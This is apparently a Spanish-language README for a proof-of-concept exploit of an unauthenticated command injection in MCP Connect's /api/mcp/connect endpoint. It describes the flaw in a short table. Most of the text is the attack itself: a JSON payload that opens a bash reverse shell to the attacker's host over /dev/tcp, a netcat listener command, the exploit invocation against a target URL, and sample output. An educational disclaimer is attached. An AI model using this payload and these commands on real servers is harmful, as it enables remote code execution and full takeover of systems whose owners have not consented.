
Proof-of-concept exploit for CVE-2026-23744, an unauthenticated command injection in MCP Connect leading to remote code execution and reverse shell.
⚠️ Disclaimer: Este repositorio es solo con fines educativos y de investigación en seguridad. El uso de este exploit contra sistemas sin autorización explícita es ilegal. El autor no se hace responsable del mal uso de este código.
La vulnerabilidad reside en el endpoint /api/mcp/connect, el cual permite a un atacante no autenticado registrar un servidor MCP (Model Context Protocol) arbitrario con una configuración maliciosa. Al no existir validación ni sanitización del campo command y sus args, es posible inyectar comandos del sistema operativo que se ejecutan directamente en el servidor con los privilegios del proceso web.
Esto resulta en una ejecución remota de código (RCE) que puede aprovecharse para obtener una reverse shell sobre el sistema comprometido.
| Campo | Detalle |
|---|---|
| Tipo | Remote Code Execution (RCE) |
| Vector | Red (HTTP POST sin autenticación) |
| Endpoint | /api/mcp/connect |
| Severidad | 🔴 Crítica |
| Autenticación | No requerida |
| Impacto | Control total del servidor |
{
"serverId": "shell1",
"serverConfig": {
"command": "bash",
"args": ["-c", "bash -i >& /dev/tcp/<LHOST>/443 0>&1"],
"env": {}
}
}
El servidor procesa esta configuración e invoca el comando bash con los argumentos proporcionados, estableciendo una conexión TCP inversa hacia el atacante.
pip install requests termcolor
python3 exploit.py -l <TU_IP> -u <URL_OBJETIVO>
| Parámetro | Descripción | Ejemplo |
|---|---|---|
-l | Tu IP (donde recibirás la shell) | 192.168.1.50 |
-u | URL base del objetivo | https://victim.com |
Terminal 1 — Listener:
nc -nlvp 443
Terminal 2 — Exploit:
python3 exploit.py -l 192.168.1.50 -u https://victim.com
[-] Please, execute the following command in another terminal:
[+] nc -nlvp 443
[-] Press 'Enter' when the command has been executed...
[+] Sending attack request...
Una vez enviada la solicitud, el listener en el puerto 443 recibirá la conexión inversa con una shell interactiva del servidor comprometido.
/api/mcp/connect antes de procesarlos..
├── exploit.py # Script principal del exploit
└── README.md # Este archivo
Desarrollado con fines de investigación en seguridad ofensiva por Jorge Arana Fedriani.